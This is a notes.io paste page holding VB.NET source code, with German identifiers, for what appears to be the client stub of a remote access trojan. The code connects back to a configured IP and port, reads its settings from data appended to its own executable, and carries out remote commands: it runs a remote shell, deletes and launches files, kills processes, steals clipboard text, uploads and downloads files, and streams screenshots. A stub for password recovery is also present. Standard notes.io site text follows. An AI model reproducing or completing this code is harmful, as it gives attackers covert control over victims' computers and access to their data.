NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

Imports System.IO
Imports System.Threading
Imports System.Text

Public Class Form1
Public P_IP As String '127.0.0.1
Public P_Port As Integer = 5150

Dim WithEvents Client As New Client
Dim WithEvents Shell As New Shell
Dim UploadScreenshot As New UploadScreenshot

Dim options(), text1 As String
Const filesplit = "paylasim"

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
TextBox1.Text = My.Settings.ipset
P_IP = TextBox1.Text
MsgBox(TextBox1.Text)
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
FileGet(1, text1)
FileClose(1)
options = Split(text1, filesplit)
TextBox1.Text = options(1)
Me.Client.Verbinden(Me.P_IP, Me.P_Port)
End Sub
Private Sub Client_NeuerTextIstDa(ByVal sText As String) Handles Client.NeuerTextIstDa
Dim t As New Thread(AddressOf Befehleinterpretieren)
t.IsBackground = True
t.Start(sText)
End Sub
Sub Befehleinterpretieren(ByVal Befehl As String)
Dim Befehlsteil() As String = Split(Befehl, "°")
Select Case Befehlsteil(0)
Case "Information"
Dim d As New DriveInfo("C:")
Me.Client.Textsenden("HD°" & d.TotalSize.ToString)
Me.Client.Textsenden("OSVersion°" & Environment.OSVersion.ToString)
Case "Filemanager"
If Befehlsteil(1) = "Inhalteauflisten" Then
Dim Path As String = Befehlsteil(2)
If Directory.Exists(Path) = True Then
Try
Dim Inhalt As String = Nothing
For Each Ordner As String In My.Computer.FileSystem.GetDirectories(Path, FileIO.SearchOption.SearchTopLevelOnly)
Inhalt &= Ordner & "*+*"
Next
Inhalt &= "+++"
For Each Datei As String In My.Computer.FileSystem.GetFiles(Path, FileIO.SearchOption.SearchTopLevelOnly)
Inhalt &= Datei & "*+*"
Next
Me.Client.Textsenden("Filemanager°Inhalt°" & Path & "°" & Inhalt)
Catch ex As Exception
'Fehlermeldung zurücksenden
End Try
End If
ElseIf Befehlsteil(1) = "Löschen" Then
Dim Pfad As String = Befehlsteil(2)
If Directory.Exists(Pfad) = True Then
My.Computer.FileSystem.DeleteDirectory(Pfad, FileIO.DeleteDirectoryOption.DeleteAllContents)
ElseIf File.Exists(Pfad) = True Then
My.Computer.FileSystem.DeleteFile(Pfad)
End If
ElseIf Befehlsteil(1) = "Umbennen" Then
Dim Pfad As String = Befehlsteil(2)
If Directory.Exists(Pfad) = True Then
Try
My.Computer.FileSystem.RenameDirectory(Pfad, Befehlsteil(3))
Catch ex As Exception

End Try
ElseIf File.Exists(Pfad) = True Then
Try
My.Computer.FileSystem.RenameFile(Pfad, Befehlsteil(3))
Catch ex As Exception

End Try
End If
ElseIf Befehlsteil(1) = "Ordnererstellen" Then
My.Computer.FileSystem.CreateDirectory(Befehlsteil(2))
ElseIf Befehlsteil(1) = "Starten" Then
If File.Exists(Befehlsteil(2)) Then
Process.Start(Befehlsteil(2))
End If
End If
Case "ProcessManager"
If Befehlsteil(1) = "Refresh" Then
Dim Inhalt As String = Nothing
For Each p As Process In Process.GetProcesses
Inhalt &= p.ProcessName & "+++" & p.Id & "*+*"
Next
Me.Client.Textsenden("ProzessListe°" & Inhalt)
ElseIf Befehlsteil(1) = "Kill" Then
Try
Process.GetProcessById(CInt(Befehlsteil(2))).Kill()
Catch ex As Exception

End Try
End If
Case "Shell"
If Befehlsteil(1) = "Start" Then
Shell.Start()
ElseIf Befehlsteil(1) = "Stop" Then
Shell.Stoppen()
ElseIf Befehlsteil(1) = "Command" Then
Shell.CommandAusführen(Befehlsteil(2))
End If
Case "Clipboard"
If Befehlsteil(1) = "GetText" Then
If Me.InvokeRequired = True Then
Dim c1 As New c2(AddressOf Clipboard_GetText)
Me.Invoke(c1)
Else
Clipboard_GetText()
End If
ElseIf Befehlsteil(1) = "SetText" Then
If Me.InvokeRequired = True Then
Dim c1 As New c1(AddressOf Clipboard_SetText)
Me.Invoke(c1, Befehlsteil(2))
Else
Clipboard_SetText(Befehlsteil(2))
End If
ElseIf Befehlsteil(1) = "Clear" Then
If Me.InvokeRequired = True Then
Dim c3 As New c3(AddressOf ClearClipboard)
Me.Invoke(c3)
Else
ClearClipboard()
End If
End If
Case "Uploadfile"
Dim U As New UploadFile
U.Start(Me.P_IP, Me.P_Port, Befehlsteil(1))
Case "Downloadfile"
Dim D As New DownloadFile
D.Start(Me.P_IP, Me.P_Port, Befehlsteil(1), Befehlsteil(2), Befehlsteil(3))
Case "Screenshot"
If Befehlsteil(1) = "Start" Then
UploadScreenshot.Start(Me.P_IP, Me.P_Port, CInt(Befehlsteil(2)))
ElseIf Befehlsteil(1) = "Stop" Then
UploadScreenshot.Stoppen()
End If
Case "PasswordRecovery"

Case "CloseClient"
Application.Exit()
End Select
End Sub
Delegate Sub c1(ByVal sText As String)
Delegate Sub c2()
Delegate Sub c3()
Private Sub Clipboard_GetText()
Me.Client.Textsenden("Clipboard°" & Clipboard.GetText)
End Sub
Private Sub Clipboard_SetText(ByVal sText As String)
If sText <> "" Then
Clipboard.SetText(sText)
End If
End Sub
Private Sub ClearClipboard()
Clipboard.Clear()
End Sub

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
My.Settings.ipset = TextBox1.Text
My.Settings.Save()
End Sub

Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
MsgBox(TextBox1.Text)
End Sub

Private Sub Shell_TextToSend(ByVal sText As String) Handles Shell.TextToSend
Me.Client.Textsenden("ShellOutput°" & sText)
End Sub
End Class
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.